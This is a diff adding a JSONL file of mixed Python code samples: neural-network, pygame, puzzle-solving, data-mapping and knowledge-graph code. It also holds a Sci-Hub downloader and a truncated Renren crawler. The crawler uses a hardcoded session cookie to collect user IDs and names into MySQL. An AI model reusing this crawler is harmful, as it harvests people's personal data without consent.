diff --git "a/2761.jsonl" "b/2761.jsonl" new file mode 100644--- /dev/null +++ "b/2761.jsonl" @@ -0,0 +1,645 @@ +{"seq_id":"264721378","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : residual_attention_network.py\n# @Author: Piston Yang\n# @Date : 18-9-6\n\nfrom __future__ import absolute_import\nfrom mxnet.gluon import nn\nfrom attention_module import *\nimport sys\nimport os\nimport symbol_utils\nimport mxnet as mx\nimport numpy as np\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\nfrom config import config\n\n#def ResidualBlock(channels, in_channels, stride):\n\nclass ResidualAttentionModel_90(nn.HybridBlock):\n\n def __init__(self, classes=1000, **kwargs):\n super(ResidualAttentionModel_90, self).__init__(**kwargs)\n \"\"\"\n input size 112\n :param classes: Output classes \n :param kwargs: \n \"\"\"\n with self.name_scope():\n n = 1\n self.n = n\n self.conv1 = nn.HybridSequential()\n with self.conv1.name_scope():\n self.conv1.add(nn.Conv2D(64/n, kernel_size=3, strides=1, padding=1, use_bias=False))\n self.conv1.add(nn.BatchNorm())\n self.conv1.add(nn.Activation(\"relu\") )\n self.mpool1 = nn.MaxPool2D(pool_size=3, strides=2, padding=1)\n self.residual_block1 = ResidualBlock(channels=64/n, in_channels=64/n, stride=1)\n self.attention_module1 = AttentionModule_stage1(64/n)\n self.attention_module1_2 = AttentionModule_stage1(64/n)\n self.attention_module1_3 = AttentionModule_stage1(64/n)\n self.residual_block2 = ResidualBlock(channels=128/n, in_channels=64/n, stride=2)\n self.attention_module2 = AttentionModule_stage2(128/n)\n self.attention_module2_2 = AttentionModule_stage2(128/n)\n self.attention_module2_3 = AttentionModule_stage2(128/n)\n self.attention_module2_4 = AttentionModule_stage2(128/n)\n self.attention_module2_5 = AttentionModule_stage2(128/n)\n self.attention_module2_6 = AttentionModule_stage2(128/n)\n self.residual_block3 = ResidualBlock(channels=256/n, in_channels=128/n, stride=2)\n self.attention_module3 = AttentionModule_stage3(256/n)\n self.attention_module3_2 = AttentionModule_stage3(256/n)\n self.residual_block4 = ResidualBlock(channels=512/n, in_channels=256/n, stride=2)\n self.residual_block5 = ResidualBlock(channels=512/n, in_channels=256/n, stride=1)\n self.residual_block6 = ResidualBlock(channels=512/n, in_channels=256/n, stride=1)\n self.conv2 = nn.HybridSequential()\n with self.conv2.name_scope():\n self.conv2.add(nn.Conv2D(512, kernel_size=1, strides=1, padding=0, use_bias=False))\n self.conv2.add(nn.BatchNorm())\n self.conv2.add(nn.Activation(\"relu\") )\n\n\n\n def hybrid_forward(self, F, x, *args, **kwargs):\n x = self.conv1(x)\n x = self.mpool1(x)\n x = self.residual_block1(x)\n x = self.attention_module1(x)\n #x = self.attention_module1_2(x)\n #x = self.attention_module1_3(x)\n x = self.residual_block2(x)\n x = self.attention_module2(x)\n x = self.attention_module2_2(x)\n x = self.attention_module2_3(x)\n #x = self.attention_module2_4(x)\n #x = self.attention_module2_5(x)\n #x = self.attention_module2_6(x)\n x = self.residual_block3(x)\n x = self.attention_module3(x)\n x = self.attention_module3_2(x)\n x = self.residual_block4(x)\n x = self.residual_block5(x)\n #x = self.residual_block6(x)\n if self.n==2:\n x = self.conv2(x)\n\n return x\n\n\ndef get_symbol():\n num_classes = config.emb_size\n net = ResidualAttentionModel_90(num_classes)\n data = mx.sym.Variable(name='data')\n data = data-127.5\n data = data*0.0078125\n\n _dtype = 'float32'\n if _dtype == 'float16':\n data = mx.sym.Cast(data, dtype=np.float16)\n net.cast('float16')\n body = net(data)\n fc1 = symbol_utils.get_fc1(body, config.emb_size, config.net_output)\n #mx.viz.print_summary(fc1, shape={'data':(1,3,112,112)})\n if _dtype == 'float16':\n fc1 = mx.sym.Cast(fc1, dtype=np.float32)\n\n return fc1\n\n","sub_path":"symbol/deployatt56/fattense152.py","file_name":"fattense152.py","file_ext":"py","file_size_in_byte":4163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"332585193","text":"# The Nature of Code\n# Daniel Shiffman\n# Fernando Otávio\n# http://natureofcode.com\n# Example 1-1: Bouncing Ball, no vectors\n\nimport pygame, random, sys, math\n\n# Define some colors\n# R G B\nBLACK = ( 0, 0, 0)\nGRAY = (100, 100, 100)\nNAVYBLUE = ( 60, 60, 100)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = ( 0, 255, 0)\nBLUE = ( 0, 0, 255)\nYELLOW = (255, 255, 0)\nORANGE = (255, 128, 0)\nPURPLE = (255, 0, 255)\nCYAN = ( 0, 255, 255)\nSKY_BLUE = (135, 206, 235)\nDARK_GREEN = ( 0, 100, 0)\nDARK_SPRING_GREEN = ( 23, 114, 69)\nDARK_BROWN = (101, 67, 33)\nLIGHT_GRAY = (211, 211, 211)\nORANGE_SUN = (243, 130, 53)\n\n# Set the width and height of the screen [width, height]\nFPS = 60 # frames per second, the general speed of the program\nWINDOWWIDTH = 640 # size of window's width in pixels\nWINDOWHEIGHT = 360 # size of windows' height in pixels\n\nclass Walker():\n def __init__(self, x=100, y=100, xspeed=3, yspeed=2, cor=WHITE):\n self.x = x\n self.y = y\n self.xspeed = xspeed\n self.yspeed = yspeed\n self.cor = cor\n\n def draw(self, screen):\n pygame.draw.circle(screen, self.cor, (self.x, self.y), 5, 0)\n\n def move(self):\n self.x = self.x + self.xspeed\n self.y = self.y + self.yspeed\n\n if self.x >= WINDOWWIDTH or self.x <= 0:\n self.xspeed = self.xspeed * -1\n if self.y >= WINDOWHEIGHT or self.y <= 0:\n self.yspeed = self.yspeed * -1\n\n\n\n\ndef main():\n global clock, screen\n\n pygame.init()\n\n screen = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT))\n\n pygame.display.set_caption(\"Nature of Code - Python\")\n\n # Loop until the user clicks the close button.\n done = False\n\n #screen.fill(NAVYBLUE)\n\n willy = Walker()\n watson = Walker(500, 200, 4, 3, YELLOW)\n\n # Used to manage how fast the screen updates\n clock = pygame.time.Clock()\n\n # -------- Main Program Loop -----------\n while not done:\n # --- Main event loop\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n\n screen.fill(NAVYBLUE)\n\n willy.move()\n\n watson.move()\n\n willy.draw(screen)\n\n watson.draw(screen)\n\n # --- Go ahead and update the screen with what we've drawn.\n pygame.display.flip()\n\n # --- Limit to 60 frames per second\n clock.tick(FPS)\n\n # Close the window and quit.\n pygame.quit()\n sys.exit()\n\n\n\"\"\"\nx = 100\ny = 100\nxspeed = 2.5\nyspeed = 2\n\n\ndef setup():\n size(800, 200)\n smooth()\n\n\ndef draw():\n background(255)\n # Add the current speed to the location.\n global x, y, xspeed, yspeed\n x = x + xspeed\n y = y + yspeed\n if (x > width) or (x < 0):\n xspeed = xspeed * -1\n if (y > height) or (y < 0):\n yspeed = yspeed * -1\n # Display circle at x location\n stroke(0)\n strokeWeight(2)\n fill(127)\n ellipse(x, y, 48, 48)\n\"\"\"\n\n\nif __name__ == '__main__':\n main()","sub_path":"p5NOC/noc1-1_bouncingball_novectors.py","file_name":"noc1-1_bouncingball_novectors.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"81956145","text":"# https://sci-hub.tw/10.1016/S0140-6736(14)61909-7\nimport urllib.request\nfrom urllib.request import urlopen\nfrom urllib import request\n\nurl = '10.1016/S0140-6736(14)61909-7'\nurl_scihub = 'https://sci-hub.tw/' + url\nurl_scihub = \"http://sci-hub.tw/downloads-ii/2019-12-31/30/llamas-velasco2019.pdf#view=FitH\"\n\nprint(url_scihub)\n\n# 이제 내가 해야할것은 받은것을쭉 목록을 만들어서 이름을 붙여서 주는거지 \n# savename = 'scihub'\n# -------------------------\n# mem= urllib.request.urlopen(url).read()\n\noutpath = \"C:/test/\"\noutfile = \"sichub\"+\".pdf\"\nopen(\"sichub\", mode=\"wb\")\nurllib.request.urlretrieve(url_scihub,outpath+outfile)\nprint('저장되었습니다')\n# --------------------------------\n\n# with open(savename, mode=\"wb\") as f:\n# f.write(mem)\n# print(\"저장되었습니다\")\n\n","sub_path":"verseion/6.8/sele/liblib.py","file_name":"liblib.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"529006056","text":"import re\nfrom collections import defaultdict\n\nfile = open(\"input/04\",\"r\")\ninput = file.read().splitlines()\nabc = \"abcdefghijklmnopqrstuvwxyz\"\n\ndef task1():\n sid_sum = 0\n for line in input:\n occurances = defaultdict(int)\n segments = line.split(\"-\")\n for chars in segments[:-1]:\n for char in chars:\n try:\n occurances[char]+=1\n except:\n occurances[char] = 1\n part_sort = sorted(occurances.items(),key=lambda k_v: k_v[0])\n sorted_occur = sorted(part_sort,key=lambda k_v: k_v[1],reverse=True)\n generated_key = \"\".join([i[0] for i in sorted_occur[:5]])\n keys = re.split(r'\\[|\\]',segments[-1])\n # check keys in brackets\n if generated_key == keys[1]:\n sid_sum += int(keys[0])\n print(sid_sum)\n\ndef task2():\n for line in input:\n translation = \"\"\n segments = line.split(\"-\")\n keys = re.split(r'\\[|\\]',segments[-1])\n # ignore full rounds over a keyboard\n move = int(keys[0])%26\n for chars in segments[:-1]:\n for char in chars:\n id = abc.find(char)+move\n if id >= 26:\n id = id % 26\n translation+=abc[id]\n translation+=\" \"\n if \"object\" in translation:\n print(keys[0])\n\ntask2()","sub_path":"2016/day04.py","file_name":"day04.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"584380608","text":"# map the raw data into wiki_trusts.txt (src,tgt,sign) and wiki_comments.txt(src,tgt,comment)\n\nimport json\nimport re\nwith open('wiki-RfA.txt',\"r\") as f1,open('hash_wiki.txt', 'w') as f2,open('wiki_trusts.txt', 'w') as f3,open('wiki_comments.txt', 'w') as f4,open('training_set.txt', 'w') as f5:\n\td = json.load(open(\"map.txt\"))\n\tsrc = \"\"\n\ttgt = \"\"\n\tvote = \"\"\n\ttxt=\"\"\n\ti=0\n\tvisited=set()\n\tfor line in f1:\n\t\tline = line.strip('\\n')\n\t\twords = line.split(\":\")\n\t\tif len(words)<=1:\n\t\t\tcontinue\n\n\t\tif words[0]==\"SRC\":\n\t\t\t\n\t\t \tsrc=str(d[words[1].decode('utf-8')])\n\t\t\t# src=''\n\t\tif words[0]==\"TGT\":\n\t\t\ttgt=str(d[words[1].decode('utf-8')])\n\t\t\t# tgt=''\n\t\tif words[0]==\"VOT\":\n\t\t\tvote=words[1]\n\t\tif words[0]==\"TXT\":\n\t\t\ttxt=words[1]\n\t\t\tmatchObj = re.search(r'\\'\\'\\'(.*)\\'\\'\\'(.*)', txt, flags=0)\n\t\t\t\n\t\t\tif matchObj:\n\t\t\t\ttxt1=matchObj.group(2)\n\t\t\t\t# print txt1\n\t\t\t\t# txt1='1'\n\t\t\telse:\n\t\t\t\ttxt1=txt\n\t\t\tif (src+':::'+tgt) not in visited:\n\t\t\t\tif vote!='0':\n\t\t\t\t\tf2.write(src+':::'+tgt+':::'+vote+':::'+txt+'\\n')\n\t\t\t\t\tf3.write(src+':::'+tgt+':::'+vote+'\\n')\n\t\t\t\t\tf4.write(src+':::'+tgt+':::'+txt1+'\\n')\n\t\t\t\t\tf5.write(vote+':::'+txt1+'\\n')\n\t\t\t\t\tvisited.add( src+':::'+tgt);\n\n\n\t\t\t\n\t\t\tsrc = \"\"\n\t\t\ttgt = \"\"\n\t\t\tvote = \"\"\n\t\t\ttxt=\"\"\n\n\t\ti=i+1\n\t","sub_path":"data/wiki/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"336450287","text":"import ctypes\nimport os\n\n\n_so = ctypes.CDLL(\n os.path.join(os.path.dirname(__file__), 'libpy.so'),\n ctypes.RTLD_GLOBAL,\n)\n\n\nclass VersionInfo(ctypes.Structure):\n _fields_ = [\n ('major', ctypes.c_int),\n ('minor', ctypes.c_int),\n ('micro', ctypes.c_int),\n ]\n\n def __repr__(self):\n return (\n '{type_name}(major={0.major},'\n ' minor={0.minor}, patch={0.micro})'\n ).format(self, type_name=type(self).__name__)\n\n def __str__(self):\n return '{0.major}.{0.minor}.{0.micro}'.format(self)\n\n\nversion_info = VersionInfo.in_dll(_so, 'libpy_abi_version')\n__version__ = str(version_info)\n","sub_path":"libpy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"372487289","text":"import cPickle as pickle\n\nclass all_data(object):\n def __init__(self,a,b,c,d,e,f,g,h,i,j):\n self.first_node = a\n self.synonymous_1 = b\n self.node_1_parents = c\n self.first_node_description = d\n self.second_node = e\n self.synonymous_2 = f\n self.node_2_parents = g\n self.second_node_description = h\n self.relation = i\n self.reference = j\n\ndef get_query(lower_case=True): # get the user input\n if lower_case:\n query = raw_input().lower().strip()\n else:\n query = raw_input().strip()\n return query\n\ndef get_data(): # collect user data\n print(\"Write the first notion: \"); first_node = get_query()\n print(\"If the notion has any synonymous names, type them. \"); s1 = get_query()\n if s1 != \"\" and s1 != \"no\" and s1 != \"n\":\n synonymous_1 = [i.strip() for i in s1.split(\",\")]\n else:\n synonymous_1 = []\n print(\"Does it have any descriptions? (y/n) \"); node_description = get_query()\n if node_description == \"y\" or node_description == \"yes\":\n print(\"Write the description please: \"); node_1_description = get_query(lower_case=False)\n else:\n node_1_description = \"NA\"\n\n node_1_parents = [\"Science\"]\n print(\"Super-categories for this notion. Start with the fields (e.g. biology,Physics,etc.), then subfield (e.g. Evolutionary biology), and then any other relevant information that fit as super-category (e.g. Mutation can be a super category for germline mutation). write a comma separated list.\")\n f = [i.strip() for i in get_query().split(\",\")]\n node_1_parents = node_1_parents+f\n\n print(\"Is there a second notion? (y/n) \");more = get_query()\n if more != \"no\" and more != \"n\":\n print(\"Write the second notion: \"); second_node = get_query()\n print(\"If the notion has any synonymous names, type them. \"); s2 = get_query()\n if s2 != \"\" and s2 != \"no\" and s2 != \"n\":\n synonymous_2 = [i.strip() for i in s2.split(\",\")]\n else:\n synonymous_2 = []\n node_2_parents = [\"Science\"]\n print(\"Super-categories for this notion. Start with the fields (e.g. biology,Physics,etc.), then subfield (e.g. Evolutionary biology), and then any other relevant information that fit as super-category (e.g. Mutation can be a super category for germline mutation). write a comma separated list.\")\n f = [i.strip() for i in get_query().split(\",\")]\n node_2_parents = node_2_parents+f\n\n print(\"Does it have any descriptions? (y/n) \")\n node_description = get_query()\n if node_description == \"y\" or node_description == \"yes\":\n print(\"Write the description please: \")\n node_2_description = get_query(lower_case=False)\n else:\n node_2_description = \"NA\"\n\n print(\"What is the relation between the first and second notion? \")\n relation = get_query(lower_case=False)\n if len(relation) == 0:\n relation = \"NA\"\n print(\"Add the reference information.\")\n print(\"Book/Article title: \")\n Reference = {}\n Reference[\"title\"] = get_query(lower_case=False)\n print(\"Journal name / Publisher: \")\n Reference[\"journal\"] = get_query(lower_case=False)\n print(\"Authors: (first name, last name;first name2, last name 2)\")\n authors0 = get_query(lower_case=False)\n authors = []\n for j in authors0.split(\";\"):\n if \",\" in j:\n k = j.split(\",\")\n else:\n k = j.split()\n first_name = k[0].strip()\n last_name = k[1].strip()\n authors.append(last_name+\",\"+first_name)\n Reference[\"author\"] = authors\n print(\"Year: \")\n Reference[\"year\"] = get_query(lower_case=False)\n print(\"Was this a theoretical, computational or experimental study? (t/c/e)\");study_type=get_query()\n if study_type != \"t\" and study_type != \"e\" and study_type != \"c\":\n print(\"Unknown input, type again... \");study_type= get_query()\n d = {\"t\" : \"Theoretical\", \"e\" : \"Experimental\", \"c\" : \"Computational\"}\n Reference[\"study_type\"] = d[study_type]\n a = first_node,synonymous_1,node_1_parents,node_1_description,second_node,synonymous_2,node_2_parents,node_2_description,relation,Reference\n data = all_data(a[0],a[1],a[2],a[3],a[4],a[5],a[6],a[7],a[8],a[9])\n return data\n else:\n second_node = \"NA\"\n node_2_description = \"NA\"\n node_2_parents = \"NA\"\n relation = \"NA\"\n print(\"Add the reference information.\")\n print(\"Book/Article title: \")\n Reference = {}\n Reference[\"title\"] = get_query(lower_case=False)\n print(\"Journal name / Publisher: \")\n Reference[\"journal\"] = get_query(lower_case=False)\n print(\"Authors: (first name, last name;first name2, last name 2)\")\n authors0 = get_query(lower_case=False)\n authors = []\n for j in authors0.split(\";\"):\n if \",\" in j:\n k = j.split(\",\")\n else:\n k = j.split()\n first_name = k[1].strip()\n last_name = k[2].strip()\n authors.append(last_name+\",\"+first_name)\n Reference[\"author\"] = authors\n print(\"Year: \")\n Reference[\"year\"] = get_query()\n print(\"Was this a theoretical, computational or experimental study? (t/c/e)\");study_type= get_query()\n if study_type != \"t\" and study_type != \"e\" and study_type != \"c\":\n print(\"Unknown input, type again... \");study_type= get_query()\n d = {\"t\" : \"Theoretical\", \"e\" : \"Experimental\", \"c\" : \"Computational\"}\n Reference[\"study_type\"] = d[study_type]\n a = first_node,synonymous_1,node_1_parents,node_1_description,second_node,synonymous_2,node_2_parents,node_2_description,relation,Reference\n data = all_data(a[0],a[1],a[2],a[3],a[4],a[5],a[6],a[7],a[8],a[9])\n return data\n\ndef get_data_file(file_name): # get data from a file\n \"\"\"\n the file should be a ;-delimited file. lines starting with # are ommitted.\n order of columns:\n first concept; synonymous names(,separated);first parents(,separated); first description;second concept;synonymous names(,separated);second parents(,separated); second description; relation; reference (authors (-separated),title,journal,year,study type (experimental,computational,theoretical))\n If you don't want to fill any of the fields above, write NA.\n \"\"\"\n f = open(file_name)\n data_lines = []\n for index,line in enumerate(f):\n if not line.startswith(\"#\"):\n fields = line.strip().split(\";\")\n dat = [0 for i in range(10)]\n dat[0],dat[1],dat[2],dat[3],dat[4],dat[5],dat[6],dat[7],dat[8] = [fields[i].strip().lower() for i in range(9)]\n dat[1] = [i.strip().lower() for i in dat[1].split(\",\")]\n dat[2] = [i.strip().lower() for i in dat[2].split(\",\")]\n dat[5] = [i.strip().lower() for i in dat[5].split(\",\")]\n dat[6] = [i.strip().lower() for i in dat[6].split(\",\")]\n reference = {}\n ref = fields[9].split(\",\")\n authors = []\n for j in ref[0].split(\"-\"):\n k = j.split()\n first_name = k[0].strip()\n last_name = k[1].strip()\n authors.append(last_name+\",\"+first_name)\n reference[\"author\"] = authors\n reference[\"title\"] = ref[1].strip()\n reference[\"journal\"] = ref[2].strip()\n reference[\"year\"] = ref[3].strip()\n reference[\"study_type\"] = ref[4].strip()\n dat[9] = reference\n #sanity check\n for kk in range(len(dat)):\n if len(dat[kk]) == 0:\n raise Exception(\"Bad input: field $kk in line $index is blank.\")\n data_lines.append(dat)\n datas = []\n for a in data_lines:\n data = all_data(a[0],a[1],a[2],a[3],a[4],a[5],a[6],a[7],a[8],a[9])\n datas.append(data)\n return datas\n\ndef fill_dictionaries(nodes_dict,edges_dict,synonymous_dict,data):\n\n # if it is a synonymous name for an already existing node\n if data.first_node in synonymous_dict:\n data.first_node = synonymous_dict[data.first_node]\n if data.second_node in synonymous_dict:\n data.second_node = synonymous_dict[data.second_node]\n\n #fill the dictionaries\n if data.first_node in nodes_dict:\n for ref in nodes_dict[data.first_node][\"reference\"]:\n if data.reference[\"title\"] == ref[\"title\"]: # if there is a node with the same name and the same reference, it is considered as a duplicate and not added.\n print(data.first_node+\" was already in the library. Nothing added.\")\n return nodes_dict,edges_dict,synonymous_dict\n nodes_dict[data.first_node][\"description\"].append(data.first_node_description)\n nodes_dict[data.first_node][\"reference\"].append(data.reference)\n if len(nodes_dict[data.first_node][\"parents\"]) < data.node_1_parents:\n nodes_dict[data.first_node][\"parents\"]= data.node_1_parents\n if len(data.synonymous_1) > 0:\n for i in data.synonymous_1:\n synonymous_dict[i] = data.first_node\n else:\n nodes_dict[data.first_node] = {\"parents\":[],\"description\" : [], \"reference\" : [],\"children\" : [],\"edges\" : []}\n nodes_dict[data.first_node][\"description\"].append(data.first_node_description)\n nodes_dict[data.first_node][\"reference\"].append(data.reference)\n nodes_dict[data.first_node][\"parents\"]= data.node_1_parents\n if len(data.synonymous_1) > 0:\n for i in data.synonymous_1:\n synonymous_dict[i] = data.first_node\n\n #creating entries for the parents of node 1\n for index,parent in enumerate(data.node_1_parents):\n if not parent in nodes_dict:\n nodes_dict[parent] = {\"parents\" : [],\"description\" : [], \"reference\" : [],\"children\" : [],\"edges\" : []}\n if len(data.node_1_parents[(index+1):]) > 0: # if it is not the most recent parent\n nodes_dict[parent][\"children\"].append(data.node_1_parents[(index+1):])#adding node_1 parents that are children of this parent\n nodes_dict[parent][\"children\"].append(data.first_node)\n else:\n for child in data.node_1_parents[(index+1):]:\n if len(child) > 0:\n if child not in nodes_dict[parent][\"children\"]: #TODO, here order of children is lost!\n nodes_dict[parent][\"children\"].append(child)\n nodes_dict[parent][\"children\"].append(data.first_node)\n\n if data.second_node != \"NA\":\n if data.second_node in nodes_dict:\n nodes_dict[data.second_node][\"description\"].append(data.second_node_description)\n nodes_dict[data.second_node][\"reference\"].append(data.reference)\n if len(nodes_dict[data.second_node][\"parents\"]) < len(data.node_2_parents):\n nodes_dict[data.second_node][\"parents\"]= data.node_2_parents\n if len(data.synonymous_2) > 0:\n for i in data.synonymous_2:\n synonymous_dict[i] = data.second_node\n else:\n nodes_dict[data.second_node] = {\"parents\" : [],\"description\" : [], \"reference\" : [],\"children\" : [],\"edges\" : []}\n nodes_dict[data.second_node][\"description\"].append(data.second_node_description)\n nodes_dict[data.second_node][\"reference\"].append(data.reference)\n nodes_dict[data.second_node][\"parents\"]= data.node_2_parents\n if len(data.synonymous_2) > 0:\n for i in data.synonymous_2:\n synonymous_dict[i] = data.second_node\n #creating entries for the parents of node 2\n for index,parent in enumerate(data.node_2_parents):\n if not parent in nodes_dict:\n nodes_dict[parent] = {\"parents\" : [],\"description\" : [], \"reference\" : [],\"children\" : [],\"edges\" : []}\n if len(data.node_2_parents[(index+1):]) > 0: # if it is not the most recent parent\n nodes_dict[parent][\"children\"].append(data.node_2_parents[(index+1):])#adding node_2 parents that are children of this parent\n nodes_dict[parent][\"children\"].append(data.second_node)\n else:\n for child in data.node_2_parents[(index+1):]:\n if len(child) > 0:\n if child not in nodes_dict[parent][\"children\"]: #TODO, here order of children is lost!\n nodes_dict[parent][\"children\"].append(child)\n nodes_dict[parent][\"children\"].append(data.second_node)\n\n edge_key = \",\".join(sorted([data.first_node,data.second_node])) # sort they node names so that they key is always unique no matter which node comes first\n nodes_dict[data.first_node][\"edges\"].append(edge_key)\n nodes_dict[data.second_node][\"edges\"].append(edge_key)\n if edge_key in edges_dict:\n edges_dict[edge_key][\"relation\"].append(data.relation)\n edges_dict[edge_key][\"reference\"].append(data.reference)\n else:\n edges_dict[edge_key] = {\"relation\" : [], \"reference\" : []}\n edges_dict[edge_key][\"relation\"].append(data.relation)\n edges_dict[edge_key][\"reference\"].append(data.reference)\n\n return nodes_dict,edges_dict,synonymous_dict\n\ndef beautiful_print(input):\n if type(input) == list:\n for index,i in enumerate(input):\n print(\" %s %s\\n\" % (index,i))\n elif type(input) == dict:\n for k,v in input:\n print(\" * %s\" % k)\n print(\": \")\n if type(v) == str:\n print(v+'\\n')\n elif typeof(v) == list:\n print(\";\".join(v))\n print('\\n')\n else:\n raise Exception(\"Error: Input of wrong type.\")\n\ndef present(nodes_dict,edges_dict,synonymous_dict): # show the available data\n print(\"What is your query? To see all available data type a\");query = get_query()\n if query == \"a\":\n beautiful_print(nodes_dict.keys())\n print(\"Type the query. \");query = get_query()\n while query not in nodes_dict and query not in synonymous_dict:\n print(\"Query does not exist. Type again. \")\n query = get_query()\n if query not in nodes_dict and query in synonymous_dict:\n query = synonymous_dict[query];print(\"This query is synonymous to %s.\" % query)\n #print(nodes_dict[query][\"description\"])\n beautiful_print([\"d/description for description\", \"p/parents for more general notions\", \"c/children for more detailed concepts\", \"r/relations for relation with other concepts\",\"n/node to change to a different concept\", \"a/all to print available concepts\", \"m/modify to modify a concept's name\", \"q to quit\"]); f = get_query()\n while f != \"q\":\n if f == \"n\" or f == \"node\":\n print(\"Type the concept\");query0 = get_query()\n while query0 not in nodes_dict and query0 not in synonymous_dict:\n print(\"Concept does not exist, type a new one...\")\n query0 = get_query()\n if query0 not in nodes_dict and query0 in synonymous_dict:\n query = synonymous_dict[query0];print(\"This query is synonymous to %s.\" % query)\n elif query0 in nodes_dict:\n query = query0\n elif f == \"m\" or f == \"modify\":\n print(\"Type in the notion you want to rename. \"); j = get_query()\n print(\"Type in the new name. \"); j2 = get_query()\n nodes_dict[j2] = nodes_dict[j]\n del nodes_dict[j]\n print(\"Done!\")\n elif f == \"a\" or f == \"all\":\n beautiful_print(nodes_dict.keys())\n elif f == \"d\" or f == \"description\":\n beautiful_print (nodes_dict[query][\"description\"])\n des = nodes_dict[query][\"description\"]\n if len(des) == 1 and des[1] != \"NA\" and des[1] != \"\":\n continue\n else:\n print(\"Type a number to see its reference, else q. \");rr = get_query()\n if rr != \"q\":\n beautiful_print(nodes_dict[query][\"reference\"][int(rr)])\n\n elif f == \"p\" or f == \"parents\":\n beautiful_print(nodes_dict[query][\"parents\"])\n elif f ==\"c\" or f == \"children\":\n beautiful_print(nodes_dict[query][\"children\"])\n elif f ==\"r\" or f == \"relations\":\n beautiful_print(nodes_dict[query][\"edges\"])\n print(\"If you want to see any of the relations, type its number, otherwise q\");j = get_query()\n while j != \"q\":\n j = int(j)\n if j > len(nodes_dict[query][\"edges\"]):\n print(\"The number is incorrect.\")\n else:\n beautiful_print(edges_dict[nodes_dict[query][\"edges\"][j]][\"relation\"])\n print(\"Type a number to see its reference, else q. \");rr = get_query()\n if rr != \"q\":\n beautiful_print(edges_dict[nodes_dict[query][\"edges\"][j]][\"reference\"][int(rr)])\n print(\"Write more relationships, otherwise q.\"); j = get_query()\n\n print(\"More actions? q to quite.\");f = get_query()\n\ndef save_data(file_name,nodes_dict,edges_dict,synonymous_dict):\n dat = (nodes_dict,edges_dict,synonymous_dict)\n pickle.dump(open(file_name),dat)\n\ndef read_data(file_name):\n data = pickle.load(open(file_name))\n nodes_dict,edges_dict,synonymous_dict = data\n return nodes_dict,edges_dict,synonymous_dict\n\ndef knowledgeGraph(file_name=None): # the glue function\n if not file_name:\n print(\"No library specified. Creating a new one. Type in the file name...\")\n file_name = get_query(lower_case=False)\n nodes_dict = {}\n edges_dict = {}\n synonymous_dict = {}\n else:\n nodes_dict,edges_dict,synonymous_dict = read_data(file_name)\n print(\"a to add data, e to explore data, q to quite\"); dd = get_query()\n while dd != \"q\":\n if dd == \"a\":\n print(\"Get data from file or input manually? (f/m)\");q = get_query()\n if q == \"m\":\n data = get_data()\n fill_dictionaries(nodes_dict,edges_dict,synonymous_dict,data)\n elif q == \"f\":\n print(\"Type the file name \");q = get_query(lower_case=False)\n datas = get_data_file(q)\n for data in datas:\n fill_dictionaries(nodes_dict,edges_dict,synonymous_dict,data)\n elif q == \"q\":\n continue\n else:\n print(\"Unknown input.Type the file name \");q = get_query(lower_case=False)\n elif dd == \"e\":\n present(nodes_dict,edges_dict,synonymous_dict)\n elif dd == \"s\":\n save_data(file_name,nodes_dict,edges_dict,synonymous_dict)\n beautiful_print([\"a to add more data\",\"e to explore data\", \"s to save the added data to file\", \"q to quite\"]); dd = get_query()\n\n\ndef main():\n print(\"If you have a library file. Type its full path and name. Otherwise, enter.\");q = get_query(lower_case=False)\n if q == \"\":\n knowledgeGraph()\n else:\n knowledgeGraph(q)\n\nmain()\n","sub_path":"python/KnowledgeGraph.py","file_name":"KnowledgeGraph.py","file_ext":"py","file_size_in_byte":19275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"150131094","text":"import requests\nfrom lxml import etree\nimport MySQLdb\n\nconn = MySQLdb.connect(\n host='localhost',\n port=3306,\n user='root',\n passwd='123456',\n db='spider',\n charset='utf8'\n)\ncursor = conn.cursor()\ncookies = {'t': '3d0a10d3475579d459b942e80d5f84c64'}\n\n\n# 存储namecard\ndef save_id(ids, name1):\n for namecard in ids:\n index = ids.index(namecard)\n try:\n sql = 'insert into renren_card values(%s,%s,%s)'\n # sql1 = 'insert into renren_card1 varchar(%s,%s,%s) '\n cursor.execute(sql, [namecard, '0', name1[index].split(' ')[0]]) # 存储的card状态为未爬取\n # cursor.execute(sql1, [namecard, '0', job_place]) # 存储的card状态为未爬取\n conn.commit()\n except:\n pass\n\n\n# 修改状态\ndef change_flag(name_card):\n sql = 'update renren_card set flag=1 where namecard=%s'\n cursor.execute(sql, [name_card])\n conn.commit()\n\n\n# 提取namecard\ndef get_name_card():\n sql = 'select namecard from renren_card where flag=%s'\n cursor.execute(sql, [\"0\"]) # 提取状态为未爬取的数据\n get_content(cursor.fetchone()[0]) # 返回namecard字符串\n\n\n# 获取数据\ndef get_content(name_card):\n res = requests.get(\"http://www.renren.com/\" + name_card + \"/profile\", cookies=cookies).text\n change_flag(name_card) # 提取的namecard修改状态为已爬取\n # 获取关联用户\n ele = etree.HTML(res)\n name = ele.xpath('//title/text()')\n print(name)\n # job_place = ele.xpath('//div[@class=\"tl-information\"]/ul/li[@class=\"work\"]/span/@title')\n # print(job_place)\n name1 = ele.xpath('//div[@id=\"footprint-box\"]/ul/li/span[@class=\"time-tip\"]/span[@class=\"tip-content\"]/text()')\n namecards = ele.xpath('//div[@id=\"footprint-box\"]/ul/li/a/@namecard')\n # save_id(namecards, name1,job_place)\n save_id(namecards, name1)\n\n\nwhile True:\n 